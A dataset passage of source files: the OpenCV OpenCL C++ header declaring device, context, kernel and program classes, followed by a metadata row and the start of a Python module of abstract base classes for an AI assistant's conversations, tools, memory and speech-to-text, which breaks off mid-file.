#ifndef OPENCV_OPENCL_HPP
#define OPENCV_OPENCL_HPP
#include "opencv2/core.hpp"
namespace cv { namespace ocl {
//! @addtogroup core_opencl
//! @{
CV_EXPORTS_W bool haveOpenCL();
CV_EXPORTS_W bool useOpenCL();
CV_EXPORTS_W bool haveAmdBlas();
CV_EXPORTS_W bool haveAmdFft();
CV_EXPORTS_W void setUseOpenCL(bool flag);
CV_EXPORTS_W void finish();
CV_EXPORTS bool haveSVM();
class CV_EXPORTS Context;
class CV_EXPORTS_W_SIMPLE Device;
class CV_EXPORTS Kernel;
class CV_EXPORTS Program;
class CV_EXPORTS ProgramSource;
class CV_EXPORTS Queue;
class CV_EXPORTS PlatformInfo;
class CV_EXPORTS Image2D;
class CV_EXPORTS_W_SIMPLE Device
{
public:
CV_WRAP Device();
explicit Device(void* d);
Device(const Device& d);
Device& operator = (const Device& d);
CV_WRAP ~Device();
void set(void* d);
enum
{
TYPE_DEFAULT = (1 << 0),
TYPE_CPU = (1 << 1),
TYPE_GPU = (1 << 2),
TYPE_ACCELERATOR = (1 << 3),
TYPE_DGPU = TYPE_GPU + (1 << 16),
TYPE_IGPU = TYPE_GPU + (1 << 17),
TYPE_ALL = 0xFFFFFFFF
};
CV_WRAP String name() const;
CV_WRAP String extensions() const;
CV_WRAP bool isExtensionSupported(const String& extensionName) const;
CV_WRAP String version() const;
CV_WRAP String vendorName() const;
CV_WRAP String OpenCL_C_Version() const;
CV_WRAP String OpenCLVersion() const;
CV_WRAP int deviceVersionMajor() const;
CV_WRAP int deviceVersionMinor() const;
CV_WRAP String driverVersion() const;
void* ptr() const;
CV_WRAP int type() const;
CV_WRAP int addressBits() const;
CV_WRAP bool available() const;
CV_WRAP bool compilerAvailable() const;
CV_WRAP bool linkerAvailable() const;
enum
{
FP_DENORM=(1 << 0),
FP_INF_NAN=(1 << 1),
FP_ROUND_TO_NEAREST=(1 << 2),
FP_ROUND_TO_ZERO=(1 << 3),
FP_ROUND_TO_INF=(1 << 4),
FP_FMA=(1 << 5),
FP_SOFT_FLOAT=(1 << 6),
FP_CORRECTLY_ROUNDED_DIVIDE_SQRT=(1 << 7)
};
CV_WRAP int doubleFPConfig() const;
CV_WRAP int singleFPConfig() const;
CV_WRAP int halfFPConfig() const;
CV_WRAP bool endianLittle() const;
CV_WRAP bool errorCorrectionSupport() const;
enum
{
EXEC_KERNEL=(1 << 0),
EXEC_NATIVE_KERNEL=(1 << 1)
};
CV_WRAP int executionCapabilities() const;
CV_WRAP size_t globalMemCacheSize() const;
enum
{
NO_CACHE=0,
READ_ONLY_CACHE=1,
READ_WRITE_CACHE=2
};
CV_WRAP int globalMemCacheType() const;
CV_WRAP int globalMemCacheLineSize() const;
CV_WRAP size_t globalMemSize() const;
CV_WRAP size_t localMemSize() const;
enum
{
NO_LOCAL_MEM=0,
LOCAL_IS_LOCAL=1,
LOCAL_IS_GLOBAL=2
};
CV_WRAP int localMemType() const;
CV_WRAP bool hostUnifiedMemory() const;
CV_WRAP bool imageSupport() const;
CV_WRAP bool imageFromBufferSupport() const;
uint imagePitchAlignment() const;
uint imageBaseAddressAlignment() const;
/// deprecated, use isExtensionSupported() method (probably with "cl_khr_subgroups" value)
CV_WRAP bool intelSubgroupsSupport() const;
CV_WRAP size_t image2DMaxWidth() const;
CV_WRAP size_t image2DMaxHeight() const;
CV_WRAP size_t image3DMaxWidth() const;
CV_WRAP size_t image3DMaxHeight() const;
CV_WRAP size_t image3DMaxDepth() const;
CV_WRAP size_t imageMaxBufferSize() const;
CV_WRAP size_t imageMaxArraySize() const;
enum
{
UNKNOWN_VENDOR=0,
VENDOR_AMD=1,
VENDOR_INTEL=2,
VENDOR_NVIDIA=3
};
CV_WRAP int vendorID() const;
// FIXIT
// dev.isAMD() doesn't work for OpenCL CPU devices from AMD OpenCL platform.
// This method should use platform name instead of vendor name.
// After fix restore code in arithm.cpp: ocl_compare()
CV_WRAP inline bool isAMD() const { return vendorID() == VENDOR_AMD; }
CV_WRAP inline bool isIntel() const { return vendorID() == VENDOR_INTEL; }
CV_WRAP inline bool isNVidia() const { return vendorID() == VENDOR_NVIDIA; }
CV_WRAP int maxClockFrequency() const;
CV_WRAP int maxComputeUnits() const;
CV_WRAP int maxConstantArgs() const;
CV_WRAP size_t maxConstantBufferSize() const;
CV_WRAP size_t maxMemAllocSize() const;
CV_WRAP size_t maxParameterSize() const;
CV_WRAP int maxReadImageArgs() const;
CV_WRAP int maxWriteImageArgs() const;
CV_WRAP int maxSamplers() const;
CV_WRAP size_t maxWorkGroupSize() const;
CV_WRAP int maxWorkItemDims() const;
void maxWorkItemSizes(size_t*) const;
CV_WRAP int memBaseAddrAlign() const;
CV_WRAP int nativeVectorWidthChar() const;
CV_WRAP int nativeVectorWidthShort() const;
CV_WRAP int nativeVectorWidthInt() const;
CV_WRAP int nativeVectorWidthLong() const;
CV_WRAP int nativeVectorWidthFloat() const;
CV_WRAP int nativeVectorWidthDouble() const;
CV_WRAP int nativeVectorWidthHalf() const;
CV_WRAP int preferredVectorWidthChar() const;
CV_WRAP int preferredVectorWidthShort() const;
CV_WRAP int preferredVectorWidthInt() const;
CV_WRAP int preferredVectorWidthLong() const;
CV_WRAP int preferredVectorWidthFloat() const;
CV_WRAP int preferredVectorWidthDouble() const;
CV_WRAP int preferredVectorWidthHalf() const;
CV_WRAP size_t printfBufferSize() const;
CV_WRAP size_t profilingTimerResolution() const;
CV_WRAP static const Device& getDefault();
protected:
struct Impl;
Impl* p;
};
class CV_EXPORTS Context
{
public:
Context();
explicit Context(int dtype);
~Context();
Context(const Context& c);
Context& operator = (const Context& c);
bool create();
bool create(int dtype);
size_t ndevices() const;
const Device& device(size_t idx) const;
Program getProg(const ProgramSource& prog,
const String& buildopt, String& errmsg);
void unloadProg(Program& prog);
static Context& getDefault(bool initialize = true);
void* ptr() const;
friend void initializeContextFromHandle(Context& ctx, void* platform, void* context, void* device);
bool useSVM() const;
void setUseSVM(bool enabled);
struct Impl;
inline Impl* getImpl() const { return (Impl*)p; }
//protected:
Impl* p;
};
class CV_EXPORTS Platform
{
public:
Platform();
~Platform();
Platform(const Platform& p);
Platform& operator = (const Platform& p);
void* ptr() const;
static Platform& getDefault();
friend void initializeContextFromHandle(Context& ctx, void* platform, void* context, void* device);
protected:
struct Impl;
Impl* p;
};
/** @brief Attaches OpenCL context to OpenCV
@note
OpenCV will check if available OpenCL platform has platformName name, then assign context to
OpenCV and call `clRetainContext` function. The deviceID device will be used as target device and
new command queue will be created.
@param platformName name of OpenCL platform to attach, this string is used to check if platform is available to OpenCV at runtime
@param platformID ID of platform attached context was created for
@param context OpenCL context to be attached to OpenCV
@param deviceID ID of device, must be created from attached context
*/
CV_EXPORTS void attachContext(const String& platformName, void* platformID, void* context, void* deviceID);
/** @brief Convert OpenCL buffer to UMat
@note
OpenCL buffer (cl_mem_buffer) should contain 2D image data, compatible with OpenCV. Memory
content is not copied from `clBuffer` to UMat. Instead, buffer handle assigned to UMat and
`clRetainMemObject` is called.
@param cl_mem_buffer source clBuffer handle
@param step num of bytes in single row
@param rows number of rows
@param cols number of cols
@param type OpenCV type of image
@param dst destination UMat
*/
CV_EXPORTS void convertFromBuffer(void* cl_mem_buffer, size_t step, int rows, int cols, int type, UMat& dst);
/** @brief Convert OpenCL image2d_t to UMat
@note
OpenCL `image2d_t` (cl_mem_image), should be compatible with OpenCV UMat formats. Memory content
is copied from image to UMat with `clEnqueueCopyImageToBuffer` function.
@param cl_mem_image source image2d_t handle
@param dst destination UMat
*/
CV_EXPORTS void convertFromImage(void* cl_mem_image, UMat& dst);
// TODO Move to internal header
void initializeContextFromHandle(Context& ctx, void* platform, void* context, void* device);
class CV_EXPORTS Queue
{
public:
Queue();
explicit Queue(const Context& c, const Device& d=Device());
~Queue();
Queue(const Queue& q);
Queue& operator = (const Queue& q);
bool create(const Context& c=Context(), const Device& d=Device());
void finish();
void* ptr() const;
static Queue& getDefault();
/// @brief Returns OpenCL command queue with enable profiling mode support
const Queue& getProfilingQueue() const;
struct Impl; friend struct Impl;
inline Impl* getImpl() const { return p; }
protected:
Impl* p;
};
class CV_EXPORTS KernelArg
{
public:
enum { LOCAL=1, READ_ONLY=2, WRITE_ONLY=4, READ_WRITE=6, CONSTANT=8, PTR_ONLY = 16, NO_SIZE=256 };
KernelArg(int _flags, UMat* _m, int wscale=1, int iwscale=1, const void* _obj=0, size_t _sz=0);
KernelArg();
static KernelArg Local(size_t localMemSize)
{ return KernelArg(LOCAL, 0, 1, 1, 0, localMemSize); }
static KernelArg PtrWriteOnly(const UMat& m)
{ return KernelArg(PTR_ONLY+WRITE_ONLY, (UMat*)&m); }
static KernelArg PtrReadOnly(const UMat& m)
{ return KernelArg(PTR_ONLY+READ_ONLY, (UMat*)&m); }
static KernelArg PtrReadWrite(const UMat& m)
{ return KernelArg(PTR_ONLY+READ_WRITE, (UMat*)&m); }
static KernelArg ReadWrite(const UMat& m, int wscale=1, int iwscale=1)
{ return KernelArg(READ_WRITE, (UMat*)&m, wscale, iwscale); }
static KernelArg ReadWriteNoSize(const UMat& m, int wscale=1, int iwscale=1)
{ return KernelArg(READ_WRITE+NO_SIZE, (UMat*)&m, wscale, iwscale); }
static KernelArg ReadOnly(const UMat& m, int wscale=1, int iwscale=1)
{ return KernelArg(READ_ONLY, (UMat*)&m, wscale, iwscale); }
static KernelArg WriteOnly(const UMat& m, int wscale=1, int iwscale=1)
{ return KernelArg(WRITE_ONLY, (UMat*)&m, wscale, iwscale); }
static KernelArg ReadOnlyNoSize(const UMat& m, int wscale=1, int iwscale=1)
{ return KernelArg(READ_ONLY+NO_SIZE, (UMat*)&m, wscale, iwscale); }
static KernelArg WriteOnlyNoSize(const UMat& m, int wscale=1, int iwscale=1)
{ return KernelArg(WRITE_ONLY+NO_SIZE, (UMat*)&m, wscale, iwscale); }
static KernelArg Constant(const Mat& m);
template<typename _Tp> static KernelArg Constant(const _Tp* arr, size_t n)
{ return KernelArg(CONSTANT, 0, 1, 1, (void*)arr, n); }
int flags;
UMat* m;
const void* obj;
size_t sz;
int wscale, iwscale;
};
class CV_EXPORTS Kernel
{
public:
Kernel();
Kernel(const char* kname, const Program& prog);
Kernel(const char* kname, const ProgramSource& prog,
const String& buildopts = String(), String* errmsg=0);
~Kernel();
Kernel(const Kernel& k);
Kernel& operator = (const Kernel& k);
bool empty() const;
bool create(const char* kname, const Program& prog);
bool create(const char* kname, const ProgramSource& prog,
const String& buildopts, String* errmsg=0);
int set(int i, const void* value, size_t sz);
int set(int i, const Image2D& image2D);
int set(int i, const UMat& m);
int set(int i, const KernelArg& arg);
template<typename _Tp> int set(int i, const _Tp& value)
{ return set(i, &value, sizeof(value)); }
protected:
template<typename _Tp0> inline
int set_args_(int i, const _Tp0& a0) { return set(i, a0); }
template<typename _Tp0, typename... _Tps> inline
int set_args_(int i, const _Tp0& a0, const _Tps&... rest_args) { i = set(i, a0); return set_args_(i, rest_args...); }
public:
/** @brief Setup OpenCL Kernel arguments.
Avoid direct using of set(i, ...) methods.
@code
bool ok = kernel
.args(
srcUMat, dstUMat,
(float)some_float_param
).run(ndims, globalSize, localSize);
if (!ok) return false;
@endcode
*/
template<typename... _Tps> inline
Kernel& args(const _Tps&... kernel_args) { set_args_(0, kernel_args...); return *this; }
/** @brief Run the OpenCL kernel.
@param dims the work problem dimensions. It is the length of globalsize and localsize. It can be either 1, 2 or 3.
@param globalsize work items for each dimension. It is not the final globalsize passed to
OpenCL. Each dimension will be adjusted to the nearest integer divisible by the corresponding
value in localsize. If localsize is NULL, it will still be adjusted depending on dims. The
adjusted values are greater than or equal to the original values.
@param localsize work-group size for each dimension.
@param sync specify whether to wait for OpenCL computation to finish before return.
@param q command queue
*/
bool run(int dims, size_t globalsize[],
size_t localsize[], bool sync, const Queue& q=Queue());
bool runTask(bool sync, const Queue& q=Queue());
/** @brief Similar to synchronized run() call with returning of kernel execution time
* Separate OpenCL command queue may be used (with CL_QUEUE_PROFILING_ENABLE)
* @return Execution time in nanoseconds or negative number on error
*/
int64 runProfiling(int dims, size_t globalsize[], size_t localsize[], const Queue& q=Queue());
size_t workGroupSize() const;
size_t preferedWorkGroupSizeMultiple() const;
bool compileWorkGroupSize(size_t wsz[]) const;
size_t localMemSize() const;
void* ptr() const;
struct Impl;
protected:
Impl* p;
};
class CV_EXPORTS Program
{
public:
Program();
Program(const ProgramSource& src,
const String& buildflags, String& errmsg);
Program(const Program& prog);
Program& operator = (const Program& prog);
~Program();
bool create(const ProgramSource& src,
const String& buildflags, String& errmsg);
void* ptr() const;
/**
* @brief Query device-specific program binary.
*
* Returns RAW OpenCL executable binary without additional attachments.
*
* @sa ProgramSource::fromBinary
*
* @param[out] binary output buffer
*/
void getBinary(std::vector<char>& binary) const;
struct Impl; friend struct Impl;
inline Impl* getImpl() const { return (Impl*)p; }
protected:
Impl* p;
public:
#ifndef OPENCV_REMOVE_DEPRECATED_API
// TODO Remove this
CV_DEPRECATED bool read(const String& buf, const String& buildflags); // removed, use ProgramSource instead
CV_DEPRECATED bool write(String& buf) const; // removed, use getBinary() method instead (RAW OpenCL binary)
CV_DEPRECATED const ProgramSource& source() const; // implementation removed
CV_DEPRECATED String getPrefix() const; // deprecated, implementation replaced
CV_DEPRECATED static String getPrefix(const String& buildflags); // deprecated, implementation replaced
#endif
};
class CV_EXPORTS ProgramSource
{
public:
typedef uint64 hash_t; // deprecated
ProgramSource();
explicit ProgramSource(const String& module, const String& name, const String& codeStr, const String& codeHash);
explicit ProgramSource(const String& prog); // deprecated
explicit ProgramSource(const char* prog); // deprecated
~ProgramSource();
ProgramSource(const ProgramSource& prog);
ProgramSource& operator = (const ProgramSource& prog);
const String& source() const; // deprecated
hash_t hash() const; // deprecated
/** @brief Describe OpenCL program binary.
* Do not call clCreateProgramWithBinary() and/or clBuildProgram().
*
* Caller should guarantee binary buffer lifetime greater than ProgramSource object (and any of its copies).
*
* This kind of binary is not portable between platforms in general - it is specific to OpenCL vendor / device / driver version.
*
* @param module name of program owner module
* @param name unique name of program (module+name is used as key for OpenCL program caching)
* @param binary buffer address. See buffer lifetime requirement in description.
* @param size buffer size
* @param buildOptions additional program-related build options passed to clBuildProgram()
* @return created ProgramSource object
*/
static ProgramSource fromBinary(const String& module, const String& name,
const unsigned char* binary, const size_t size,
const cv::String& buildOptions = cv::String());
/** @brief Describe OpenCL program in SPIR format.
* Do not call clCreateProgramWithBinary() and/or clBuildProgram().
*
* Supports SPIR 1.2 by default (pass '-spir-std=X.Y' in buildOptions to override this behavior)
*
* Caller should guarantee binary buffer lifetime greater than ProgramSource object (and any of its copies).
*
* Programs in this format are portable between OpenCL implementations with 'khr_spir' extension:
* https://www.khronos.org/registry/OpenCL/sdk/2.0/docs/man/xhtml/cl_khr_spir.html
* (but they are not portable between different platforms: 32-bit / 64-bit)
*
* Note: these programs can't support vendor specific extensions, like 'cl_intel_subgroups'.
*
* @param module name of program owner module
* @param name unique name of program (module+name is used as key for OpenCL program caching)
* @param binary buffer address. See buffer lifetime requirement in description.
* @param size buffer size
* @param buildOptions additional program-related build options passed to clBuildProgram()
* (these options are added automatically: '-x spir' and '-spir-std=1.2')
* @return created ProgramSource object.
*/
static ProgramSource fromSPIR(const String& module, const String& name,
const unsigned char* binary, const size_t size,
const cv::String& buildOptions = cv::String());
//OpenCL 2.1+ only
//static Program fromSPIRV(const String& module, const String& name,
// const unsigned char* binary, const size_t size,
// const cv::String& buildOptions = cv::String());
struct Impl; friend struct Impl;
inline Impl* getImpl() const { return (Impl*)p; }
protected:
Impl* p;
};
class CV_EXPORTS PlatformInfo
{
public:
PlatformInfo();
explicit PlatformInfo(void* id);
~PlatformInfo();
PlatformInfo(const PlatformInfo& i);
PlatformInfo& operator =(const PlatformInfo& i);
String name() const;
String vendor() const;
String version() const;
int deviceNumber() const;
void getDevice(Device& device, int d) const;
protected:
struct Impl;
Impl* p;
};
CV_EXPORTS const char* convertTypeStr(int sdepth, int ddepth, int cn, char* buf);
CV_EXPORTS const char* typeToStr(int t);
CV_EXPORTS const char* memopTypeToStr(int t);
CV_EXPORTS const char* vecopTypeToStr(int t);
CV_EXPORTS const char* getOpenCLErrorString(int errorCode);
CV_EXPORTS String kernelToStr(InputArray _kernel, int ddepth = -1, const char * name = NULL);
CV_EXPORTS void getPlatfomsInfo(std::vector<PlatformInfo>& platform_info);
enum OclVectorStrategy
{
// all matrices have its own vector width
OCL_VECTOR_OWN = 0,
// all matrices have maximal vector width among all matrices
// (useful for cases when matrices have different data types)
OCL_VECTOR_MAX = 1,
// default strategy
OCL_VECTOR_DEFAULT = OCL_VECTOR_OWN
};
CV_EXPORTS int predictOptimalVectorWidth(InputArray src1, InputArray src2 = noArray(), InputArray src3 = noArray(),
InputArray src4 = noArray(), InputArray src5 = noArray(), InputArray src6 = noArray(),
InputArray src7 = noArray(), InputArray src8 = noArray(), InputArray src9 = noArray(),
OclVectorStrategy strat = OCL_VECTOR_DEFAULT);
CV_EXPORTS int checkOptimalVectorWidth(const int *vectorWidths,
InputArray src1, InputArray src2 = noArray(), InputArray src3 = noArray(),
InputArray src4 = noArray(), InputArray src5 = noArray(), InputArray src6 = noArray(),
InputArray src7 = noArray(), InputArray src8 = noArray(), InputArray src9 = noArray(),
OclVectorStrategy strat = OCL_VECTOR_DEFAULT);
// with OCL_VECTOR_MAX strategy
CV_EXPORTS int predictOptimalVectorWidthMax(InputArray src1, InputArray src2 = noArray(), InputArray src3 = noArray(),
InputArray src4 = noArray(), InputArray src5 = noArray(), InputArray src6 = noArray(),
InputArray src7 = noArray(), InputArray src8 = noArray(), InputArray src9 = noArray());
CV_EXPORTS void buildOptionsAddMatrixDescription(String& buildOptions, const String& name, InputArray _m);
class CV_EXPORTS Image2D
{
public:
Image2D();
/**
@param src UMat object from which to get image properties and data
@param norm flag to enable the use of normalized channel data types
@param alias flag indicating that the image should alias the src UMat. If true, changes to the
image or src will be reflected in both objects.
*/
explicit Image2D(const UMat &src, bool norm = false, bool alias = false);
Image2D(const Image2D & i);
~Image2D();
Image2D & operator = (const Image2D & i);
/** Indicates if creating an aliased image should succeed.
Depends on the underlying platform and the dimensions of the UMat.
*/
static bool canCreateAlias(const UMat &u);
/** Indicates if the image format is supported.
*/
static bool isFormatSupported(int depth, int cn, bool norm);
void* ptr() const;
protected:
struct Impl;
Impl* p;
};
class CV_EXPORTS Timer
{
public:
Timer(const Queue& q);
~Timer();
void start();
void stop();
uint64 durationNS() const; //< duration in nanoseconds
protected:
struct Impl;
Impl* const p;
private:
Timer(const Timer&); // disabled
Timer& operator=(const Timer&); // disabled
};
CV_EXPORTS MatAllocator* getOpenCLAllocator();
#ifdef __OPENCV_BUILD
namespace internal {
CV_EXPORTS bool isOpenCLForced();
#define OCL_FORCE_CHECK(condition) (cv::ocl::internal::isOpenCLForced() || (condition))
CV_EXPORTS bool isPerformanceCheckBypassed();
#define OCL_PERFORMANCE_CHECK(condition) (cv::ocl::internal::isPerformanceCheckBypassed() || (condition))
CV_EXPORTS bool isCLBuffer(UMat& u);
} // namespace internal
#endif
//! @}
}}
#endif
| 25,075 | ocl | hpp | en | cpp | code | {"qsc_code_num_words": 3149, "qsc_code_num_chars": 25075.0, "qsc_code_mean_word_length": 5.38456653, "qsc_code_frac_words_unique": 0.21848206, "qsc_code_frac_chars_top_2grams": 0.02583156, "qsc_code_frac_chars_top_3grams": 0.03892427, "qsc_code_frac_chars_top_4grams": 0.02311866, "qsc_code_frac_chars_dupe_5grams": 0.2814343, "qsc_code_frac_chars_dupe_6grams": 0.240092, "qsc_code_frac_chars_dupe_7grams": 0.21384761, "qsc_code_frac_chars_dupe_8grams": 0.19367775, "qsc_code_frac_chars_dupe_9grams": 0.17050012, "qsc_code_frac_chars_dupe_10grams": 0.16236141, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00839908, "qsc_code_frac_chars_whitespace": 0.21655035, "qsc_code_size_file_byte": 25075.0, "qsc_code_num_lines": 710.0, "qsc_code_num_chars_line_max": 133.0, "qsc_code_num_chars_line_mean": 35.31690141, "qsc_code_frac_chars_alphabet": 0.8547213, "qsc_code_frac_chars_comments": 0.34683948, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.2184466, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00097692, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00061058, "qsc_code_frac_lines_prompt_comments": 0.0028169, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.48058252, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.48543689, "qsc_codecpp_frac_lines_print": 0.00242718} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | app/interfaces.py | """
Description: Provides abstract classes for all custom datatypes.
"""
from abc import ABC, abstractmethod
from typing import Literal
from numpy import ndarray
from torch import Tensor
class AudioDataBase(ABC):
"""
Stores wave and mp3 audio data.
"""
class MessageBase(ABC):
"""
Stores one message in a conversation.
Arguments:
author (str): The author of the message.
content (str): The content of the message.
"""
pass
class ConversationBase(ABC):
"""
Stores the conversation between the LLM and the user.
"""
@abstractmethod
def add_message(self, message: MessageBase) -> None:
"""
Add one message to the conversation.
Arguments:
message (Message): The message that will be added.
"""
raise NotImplementedError
@abstractmethod
def add_messages(self, messages: list[MessageBase]) -> None:
"""
Add multiple messages to the conversation.
Arguments:
messages (list[Message]): The messages that will be added.
"""
raise NotImplementedError
@abstractmethod
def delete_newest(self, author: Literal["user", "assistant", "system", None] = None) -> None:
"""
Delete the newest message in the conversation. If an author is parsed, the newest message with that author is deleted.
Arguments:
author (Literal["user", "assistant", "system", None]): An optional parameter. The author whose newest message will be deleted.
"""
raise NotImplementedError
@abstractmethod
def delete_all_from(self, author: Literal["user", "assistant", "system"]) -> None:
"""
Delete all messages from an author. Can be used to purge system prompts if behavior should be overwritten.
Arguments:
author (Literal["user", "assistant", "system"]): The author from whom all messages should be deleted.
"""
raise NotImplementedError
@abstractmethod
def get_newest(self, author: Literal["user", "assistant", "system", None] = None) -> MessageBase | None:
"""
Get the newest message. If an author is parsed, the newest message of that author will be returned.
Arguments:
author (Literal["user", "assistant", "system", None]): An optional parameter. The author whose newest message will be returned.
Returns:
Message | None: The newest message (from the author). None if there are no messages in the conversation or no messages from the specified author.
"""
raise NotImplementedError
@abstractmethod
def to_list(self) -> list[dict]:
"""
Convert the stored conversation to a format that can be parsed to the LLM.
Returns:
list[dict]: The formatted conversation.
"""
raise NotImplementedError
@abstractmethod
def from_list(self, conversation: list[dict]) -> None:
"""
Convert the LLM format conversation into a conversation object. Overwrites the stored conversation.
Arguments:
conversation (list[dict]): The conversation that should be converted and stored.
"""
raise NotImplementedError
class ContextSourceBase(ABC):
"""
Base class for all context sources.
"""
@classmethod
@abstractmethod
def get_all_sources(cls) -> list[type]:
"""
Returns a list of all subclasses of this class.
"""
raise NotImplementedError
class ContextSource_VoiceABC(ContextSourceBase):
"""
Context source for results generated by the transcriptor.
"""
pass
class ContextSource_UserABC(ContextSourceBase):
"""
Context source for direct user input.
"""
pass
class ContextSource_AssistantABC(ContextSourceBase):
"""
Context source for responses generated by the assistant.
"""
pass
class ContextSource_ToolResponseABC(ContextSourceBase):
"""
Context source for responses generated by tools.
"""
pass
class ContextSource_SystemABC(ContextSourceBase):
"""
Context source for system messages.
"""
pass
class ContextDatapointBase(ABC):
"""
This class holds a singular datapoint in the context.
"""
@abstractmethod
def to_dict(self) -> dict:
"""
Returns the contents formatted to a dictionary so it can be serialized to json.
"""
raise NotImplementedError
class ContextBase(ABC):
"""
This class stores context which is a list of datapoints all with source, content and timestamp.
"""
@abstractmethod
def to_conversation(self) -> ConversationBase:
"""
Get the context as type Conversation that can be parsed to the LLM.
"""
raise NotImplementedError
class ContextGeneratorBase(ABC):
"""
Holds the data generator produced by a context generator. Yields ContextDatapoint.
"""
@abstractmethod
def data(self):
"""
Begins to yield the data generated by the generator.
"""
raise NotImplementedError
class ContextGeneratorListBase(ABC):
"""
Manages a dynamic thread-safe list of context sources that can be iterated through.
"""
@abstractmethod
def add(self, context_source: ContextGeneratorBase) -> None:
"""
Adds a context source to the list.
"""
raise NotImplementedError
@abstractmethod
def remove(self, context_source: ContextGeneratorBase) -> None:
"""
Removes a context source from the list.
"""
raise NotImplementedError
@abstractmethod
def get_next(self) -> ContextDatapointBase:
"""
Gets the next context datapoint from the list.
"""
raise NotImplementedError
class MemoryConfigBase(ABC):
"""
Stores the settings that determines how memories are retrieved.
Arguments:
retrieve_memories (bool): Whether to search for memories in the database.
num_results (int): The maximum amount of results that should be fed to the model.
search_area (int): How much context around the search result should additionally be fed to the model.
cosine_threshold (float): The similarity threshold a result must surpass to be utilized.
"""
pass
class LLMResponseBase(ABC):
"""
Stores the response of the LLM.
"""
message: str = ""
@abstractmethod
def from_dict(self, llm_response: dict) -> None:
"""
Constructs the LLMResponse object including tool calls from the LLM response.
Arguments:
llm_response (dict): The response from the LLM that will be converted.
"""
raise NotImplementedError
@abstractmethod
def to_message(self) -> MessageBase:
"""
Formats the LLM response to a Message object.
"""
raise NotImplementedError
class LLMToolParameterBase(ABC):
"""
Defines a parameter for a tool.
Arguments:
name (str): The name of the parameter. Should be short and accurate.
description (str): A description in natural language. Helps the LLM to understand how to use the parameter.
type (str): What datatype the parameter is, i.e. bool, int, string etc.
required (bool): Whether the parameter has to be parsed.
"""
pass
class LLMToolBase(ABC):
"""
Defines a tool that can be used by the LLM.
Arguments:
name (str): The name of the tool. Should be short and accurate.
description (str): A description in natural language. Helps the LLM to understand how to use the tool.
parameters (List[LLMToolParameter]): A list of parameters the tool can take.
"""
@abstractmethod
def to_dict(self) -> dict:
"""
Converts a list of LLMTools to the proper json format for the LLM and returns it as a dictionary.
"""
raise NotImplementedError
class LoadedToolBase(ABC):
"""
Defines a loaded tool that can be executed
"""
pass
class LLMToolCallParameterBase(ABC):
"""
Defines a parameter for a tool call.
"""
pass
class LLMToolCallBase(ABC):
"""
Defines a tool call made by the LLM.
"""
pass
class WordBase(ABC):
"""
A class to represent a word in a transcription.
This class holds a singular word from a transcription, together with other relevant information.
Arguments:
text (str, optional): The text of the word. Defaults to "".
start (float, optional): The start time of the word in seconds. Defaults to 0.
end (float, optional): The end time of the word in seconds. Defaults to 0.
speaker_embedding (torch.FloatTensor, optional): The speaker embedding of the voice that said the word. Defaults to None.
"""
pass
class STTConditioningBase(ABC):
"""
Stores all values required for transcriptor conditioning.
Arguments:
model (str): The model to use.
microphone_index (int): The index of the microphone to use for recording. Defaults to the default microphone.
language (str): The language of the speech. If set to an empty string, the language will be detected automatically. It is recommended to set this to the language of the speech for better results if known.
device (str): The device to use for the computations. Defaults to "cuda" or "cpu" if cuda is not available.
voice_boost (float): How much to boost the voice in the audio preprocessing stage. Setting it to 0 disables this feature. Defaults to 10.0.
vad_threshold (float): The confidence threshold of the voice-activity-detection model. Audio chunks above this threshold will be considered to contain speech.
voice_similarity_threshold (float): The threshold for the voice similarity. If the similarity between the speaker and a voice in the database, they will be considered to be the same voice. Defaults to 0.8.
"""
pass
class STTInferenceEngineBase(ABC):
"""
Provides a base class for all STT inference engines to ensure a consistent structure.
"""
@abstractmethod
def initialize_model(self, conditioning: STTConditioningBase) -> None:
"""
Load the model into VRAM/RAM. Required to run inference. Call free() to free up the VRAM/RAM again.
"""
raise NotImplementedError
@abstractmethod
def free(self) -> None:
"""
Frees the VRAM/RAM. The model can not be used anymore after it was freed. It needs to be loaded again by calling select_model().
"""
raise NotImplementedError
@abstractmethod
def run_inference(self, audio_data: Tensor) -> list[WordBase]:
"""
Transcribe audio data into a word array.
Arguments:
audio_data (Tensor): The audio data to transcribe as a torch tensor.
Returns:
LLMResponse: The response from the LLM.
"""
raise NotImplementedError
class LLMConditioningBase(ABC):
"""
